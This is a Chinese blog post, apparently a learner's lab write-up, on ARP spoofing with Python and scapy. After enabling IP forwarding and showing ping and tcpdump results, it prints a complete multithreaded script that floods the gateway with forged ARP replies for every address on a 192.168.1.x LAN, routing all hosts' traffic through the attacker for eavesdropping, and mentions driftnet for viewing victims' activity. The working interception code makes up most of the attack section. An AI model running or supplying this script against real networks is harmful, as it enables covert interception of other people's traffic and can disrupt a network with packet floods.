码迷,mamicode.com
首页 > 其他好文 > 详细

2017-3-11 ARP欺骗 again(2)

时间:2017-03-11 21:32:04      阅读:165      评论:0      收藏:0      [点我收藏+]

标签:route   欺骗   sys   tar   代码   网络   fan   路由   关闭   

 

         非常棒的实验,自信又有了。

 

1、根据上文说到,必须开启黑客机器的转发功能,ARP脚本不变

[root@python sysctl.d]# vim /etc/sysctl.conf

[root@python sysctl.d]# sysctl -p

net.ipv4.ip_forward = 1

(1)运行脚本测试之前,客户端A去ping目的计算机B的IP 192.168.1.31

 技术分享

 

(2)运行脚本攻击之后,A再去ping B机器,会发现MAC地址发生改变

 技术分享

 

结论:很明显,A机器可以ping通B,但实际上通信的是A与黑客机器!

(3)在目的计算机上B tcpdump抓包看到,192.168.1.101(也就是客户端A的IP)发送的PING报文可以被B收到,并进行响应,从而不让人发现网络已经被攻击,达到黑客监听数据的目的,nice !

 技术分享

 

(4)接下来的目标是ARP程序不允许交互式手工输入目的计算机IP,不管请求谁,都要经过我黑客。需要更改代码。

现在唯一的问题是ARP程序运行要手工输入目的机器B的IP,这一点不好。需求是当任意客户端Ping任意服务器的时候,我想要涉及到python多线程的问题,写一个for循环,黑客机器向局域网的所有机器(从192.168.1.1到192.168.1.254)都不停的进行应答发包,只管有机器恰好在请求ARP广播报文,等它命中。

 

[root@python ~]# cat broadcast.py

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# 伪造目的计算机,告诉网关那个目的计算机的MAC地址是黑客的MAC地址,即欺骗路由器的ARP缓存表

 

from scapy.all import *

import commands

import threading

import time

 

Gateway_IP = commands.getoutput(" route -n|head -3|tail -1|awk ‘{print $2}‘ ")

Gateway_MAC = getmacbyip(Gateway_IP)

Hacker_MAC = commands.getoutput(" ifconfig|grep ‘ether‘|awk ‘{print $2}‘ ") #python调用linux命令

ETHERNET = commands.getoutput (" ifconfig|grep ‘mtu 1500‘|awk ‘{print $1}‘|awk -F ‘:‘ ‘{print $1}‘ ")

 

def broadcast_IP( ):

        count = 1

        while count < 254:

                count +=1 #我并没攻击网关,如果攻击网关的话,可以窃听外网

                DuiFang_IP = ‘192.168.1.‘ + str(count)

                pkt = Ether(src=Hacker_MAC,dst=Gateway_MAC) / ARP(hwsrc=Hacker_MAC,hwdst=Gateway_MAC,psrc=DuiFang_IP,pdst=Gateway_IP,op=2)

                sendp(pkt,iface=ETHERNET)

 

for i in range(254):

t = threading.Thread(target=broadcast_IP)

t.start()

t.join() #join()的作用是,在子线程完成运行之前,这个子线程的父线程将一直被阻塞。

  

[root@python ~]# python broadcast.py  ##执行这个代码的时候,会有大量的ARP应答报文发送,只能关闭远程工具,才能终止发包,在后台运行也会跳出到前台,如果直接在真机上运行的话, 我估计只有强行关机了...

 

实验截图:

              黑客机器的MAC地址

技术分享

 

                第1组

 技术分享

技术分享

 

                                   2

 技术分享

 

             第3组

 技术分享

 

实验结果:无论你去ping谁,这个谁的MAC地址都只是黑客的MAC地址,而MAC地址一般不容易被发现,但也这有可能是攻击的唯一缺陷,如果人细心点话,会被发现。

    源端A和目的端B的通信肯定都会经过黑客的网卡,只不过在普通的linux机器上看不出来客户端具体在干什么,只知道有报文通过自己转发出去。但如果是在Kali Linux上,听说过一个drifnet工具,就可以直接看到对方在干什么,棒极了。

    下面该了解下kali linux了,有点兴趣....

 

2017-3-11 ARP欺骗 again(2)

标签:route   欺骗   sys   tar   代码   网络   fan   路由   关闭   

原文地址:http://www.cnblogs.com/yue-hong/p/6536098.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!